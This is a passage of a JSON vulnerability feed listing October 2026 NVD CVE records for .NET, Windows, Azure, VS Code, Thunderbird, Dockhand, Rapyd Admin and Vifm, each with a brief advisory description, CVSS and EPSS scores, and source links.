exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:58.440Z","updatedAt":"2026-10-16T16:20:04.517Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69736","asOf":"2026-10-16T16:20:04.517Z"},"epss":{"probability":0.00235,"percentile":0.14363,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69736&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69736","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69736","type":"primary","publishedAt":"2026-10-13T19:18:58.440Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69736&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69736, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69651","cveId":"CVE-2026-69651","aliases":[],"kind":"vulnerability","title":"Inefficient algorithmic complexity in .NET allows an unauthorized attacker to deny service over a network.","summary":"Inefficient algorithmic complexity in .NET allows an unauthorized attacker to deny service over a network.","detail":"Inefficient algorithmic complexity in .NET allows an unauthorized attacker to deny service over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:57.397Z","updatedAt":"2026-10-22T22:18:10.747Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69651","asOf":"2026-10-22T22:18:10.747Z"},"epss":{"probability":0.0125,"percentile":0.69196,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69651&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69651","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69651","type":"primary","publishedAt":"2026-10-13T19:18:57.397Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69651&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69651, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69650","cveId":"CVE-2026-69650","aliases":[],"kind":"vulnerability","title":"Improper verification of cryptographic signature in Windows Key Distribution Center allows an authorized attacker to elevate privileges locally.","summary":"Improper verification of cryptographic signature in Windows Key Distribution Center allows an authorized attacker to elevate privileges locally.","detail":"Improper verification of cryptographic signature in Windows Key Distribution Center allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:57.213Z","updatedAt":"2026-10-13T22:17:42.550Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69650","asOf":"2026-10-13T22:17:42.550Z"},"epss":{"probability":0.00258,"percentile":0.17349,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69650&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69650","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69650","type":"primary","publishedAt":"2026-10-13T19:18:57.213Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69650&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69650, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69577","cveId":"CVE-2026-69577","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Microsoft Azure Attestation service and Device Health Attestation Service allows an unauthorized attacker to disclose information over a network.","summary":"Out-of-bounds read in Microsoft Azure Attestation service and Device Health Attestation Service allows an unauthorized attacker to disclose information over a network.","detail":"Out-of-bounds read in Microsoft Azure Attestation service and Device Health Attestation Service allows an unauthorized attacker to disclose information over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:55.873Z","updatedAt":"2026-10-13T23:17:35.550Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Azure"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69577","asOf":"2026-10-13T23:17:35.550Z"},"epss":{"probability":0.01094,"percentile":0.65284,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69577&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69577","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69577","type":"primary","publishedAt":"2026-10-13T19:18:55.873Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69577&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69577, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69454","cveId":"CVE-2026-69454","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Microsoft Azure Attestation service and Device Health Attestation Service allows an unauthorized attacker to disclose information over a network.","summary":"Out-of-bounds read in Microsoft Azure Attestation service and Device Health Attestation Service allows an unauthorized attacker to disclose information over a network.","detail":"Out-of-bounds read in Microsoft Azure Attestation service and Device Health Attestation Service allows an unauthorized attacker to disclose information over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:55.213Z","updatedAt":"2026-10-13T23:17:35.090Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Azure"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69454","asOf":"2026-10-13T23:17:35.090Z"},"epss":{"probability":0.01094,"percentile":0.65283,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69454&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69454","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69454","type":"primary","publishedAt":"2026-10-13T19:18:55.213Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69454&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69454, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69370","cveId":"CVE-2026-69370","aliases":[],"kind":"vulnerability","title":"Improper neutralization of special elements used in a command ('command injection') in Visual Studio Code allows an unauthorized attacker to execute code over a network.","summary":"Improper neutralization of special elements used in a command ('command injection') in Visual Studio Code allows an unauthorized attacker to execute code over a network.","detail":"Improper neutralization of special elements used in a command ('command injection') in Visual Studio Code allows an unauthorized attacker to execute code over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:54.530Z","updatedAt":"2026-10-13T23:17:34.680Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Visual Studio"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69370","asOf":"2026-10-13T23:17:34.680Z"},"epss":{"probability":0.00877,"percentile":0.58772,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69370&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69370","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69370","type":"primary","publishedAt":"2026-10-13T19:18:54.530Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69370&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69370, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-58280","cveId":"CVE-2026-58280","aliases":[],"kind":"vulnerability","title":"Uncontrolled recursion in .NET allows an unauthorized attacker to deny service over a network.","summary":"Uncontrolled recursion in .NET allows an unauthorized attacker to deny service over a network.","detail":"Uncontrolled recursion in .NET allows an unauthorized attacker to deny service over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:52.810Z","updatedAt":"2026-10-22T22:18:07.270Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-58280","asOf":"2026-10-22T22:18:07.270Z"},"epss":{"probability":0.0125,"percentile":0.69196,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-58280&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-58280","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-58280","type":"primary","publishedAt":"2026-10-13T19:18:52.810Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-58280&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-58280, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-49785","cveId":"CVE-2026-49785","aliases":[],"kind":"vulnerability","title":"Improper resource shutdown or release in Windows UEFI allows an authorized attacker to bypass a security feature locally.","summary":"Improper resource shutdown or release in Windows UEFI allows an authorized attacker to bypass a security feature locally.","detail":"Improper resource shutdown or release in Windows UEFI allows an authorized attacker to bypass a security feature locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:52.167Z","updatedAt":"2026-10-16T16:18:12.090Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-49785","asOf":"2026-10-16T16:18:12.090Z"},"epss":{"probability":0.00388,"percentile":0.32611,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-49785&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-49785","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49785","type":"primary","publishedAt":"2026-10-13T19:18:52.167Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-49785&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-49785, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110255","cveId":"CVE-2026-110255","aliases":[],"kind":"vulnerability","title":"Finsys Dockhand before 1.0.43 contains a response-disclosing server-side request forgery vulnerability that allows authenticated users to make the server fetch arbitrary URLs by...","summary":"Finsys Dockhand before 1.0.43 contains a response-disclosing server-side request forgery vulnerability that allows authenticated users to make the server fetch arbitrary URLs by supplying repository URL and stackfile values. Attackers can send stack templates pointing to internal services or cloud metadata endpoints and read the fetched content from the compose response field, exposing credentials and tokens.","detail":"Finsys Dockhand before 1.0.43 contains a response-disclosing server-side request forgery vulnerability that allows authenticated users to make the server fetch arbitrary URLs by supplying repository URL and stackfile values. Attackers can send stack templates pointing to internal services or cloud metadata endpoints and read the fetched content from the compose response field, exposing credentials and tokens.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:49.843Z","updatedAt":"2026-10-13T20:17:28.340Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110255","asOf":"2026-10-13T20:17:28.340Z"},"epss":{"probability":0.00259,"percentile":0.17452,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110255&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110255","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110255","type":"primary","publishedAt":"2026-10-13T19:18:49.843Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110255&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110255, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110249","cveId":"CVE-2026-110249","aliases":[],"kind":"vulnerability","title":"A malicious, compromised, or MITM-controlled Exchange server can return a single well-formed SOAP response containing an element with enough attributes to keep Thunderbird's main...","summary":"A malicious, compromised, or MITM-controlled Exchange server can return a single well-formed SOAP response containing an element with enough attributes to keep Thunderbird's main thread CPU-bound for seconds to hours. This vulnerability was fixed in Thunderbird 158 and Thunderbird 153.5.","detail":"A malicious, compromised, or MITM-controlled Exchange server can return a single well-formed SOAP response containing an element with enough attributes to keep Thunderbird's main thread CPU-bound for seconds to hours. This vulnerability was fixed in Thunderbird 158 and Thunderbird 153.5.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:49.590Z","updatedAt":"2026-10-20T18:17:17.907Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Exchange","Mozilla Firefox and Thunderbird"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110249","asOf":"2026-10-20T18:17:17.907Z"},"epss":{"probability":0.0018,"percentile":0.0748,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110249&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110249","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110249","type":"primary","publishedAt":"2026-10-13T19:18:49.590Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110249&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110249, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110247","cveId":"CVE-2026-110247","aliases":[],"kind":"vulnerability","title":"Several buffer-growth sites in libmime performed size arithmetic in 32-bit types without overflow checks.","summary":"Several buffer-growth sites in libmime performed size arithmetic in 32-bit types without overflow checks. On a sufficiently large message the growth guard could fail open, or the buffer could be reallocated smaller than required, and a subsequent memcpy would then write attacker-controlled data across adjacent heap allocations. This vulnerability was fixed in Thunderbird 158.","detail":"Several buffer-growth sites in libmime performed size arithmetic in 32-bit types without overflow checks. On a sufficiently large message the growth guard could fail open, or the buffer could be reallocated smaller than required, and a subsequent memcpy would then write attacker-controlled data across adjacent heap allocations. This vulnerability was fixed in Thunderbird 158.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:49.493Z","updatedAt":"2026-10-20T18:17:17.733Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110247","asOf":"2026-10-20T18:17:17.733Z"},"epss":{"probability":0.00173,"percentile":0.06711,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110247&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110247","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110247","type":"primary","publishedAt":"2026-10-13T19:18:49.493Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110247&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110247, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110238","cveId":"CVE-2026-110238","aliases":[],"kind":"vulnerability","title":"Rapyd Admin from 9.0.0 before 9.20.0 contains an authorization bypass vulnerability that allows authenticated company members with the default customer role to modify or delete...","summary":"Rapyd Admin from 9.0.0 before 9.20.0 contains an authorization bypass vulnerability that allows authenticated company members with the default customer role to modify or delete arbitrary user accounts through the UsersModalEditEmbed Livewire component. Attackers can dispatch editUser or deleteUser with predictable sequential user ids to reset owner or super admin passwords, promote themselves to owner, and delete users.","detail":"Rapyd Admin from 9.0.0 before 9.20.0 contains an authorization bypass vulnerability that allows authenticated company members with the default customer role to modify or delete arbitrary user accounts through the UsersModalEditEmbed Livewire component. Attackers can dispatch editUser or deleteUser with predictable sequential user ids to reset owner or super admin passwords, promote themselves to owner, and delete users.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:49.063Z","updatedAt":"2026-10-14T17:18:24.920Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110238","asOf":"2026-10-14T17:18:24.920Z"},"epss":{"probability":0.0046,"percentile":0.3955,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110238&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110238","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110238","type":"primary","publishedAt":"2026-10-13T19:18:49.063Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110238&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110238, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110237","cveId":"CVE-2026-110237","aliases":[],"kind":"vulnerability","title":"Vifm 0.8.1-beta through 0.14.4 reuses a pre-existing IPC FIFO in the shared temporary directory without checking ownership, allowing local users to execute commands as another...","summary":"Vifm 0.8.1-beta through 0.14.4 reuses a pre-existing IPC FIFO in the shared temporary directory without checking ownership, allowing local users to execute commands as another user. Attackers can pre-create a 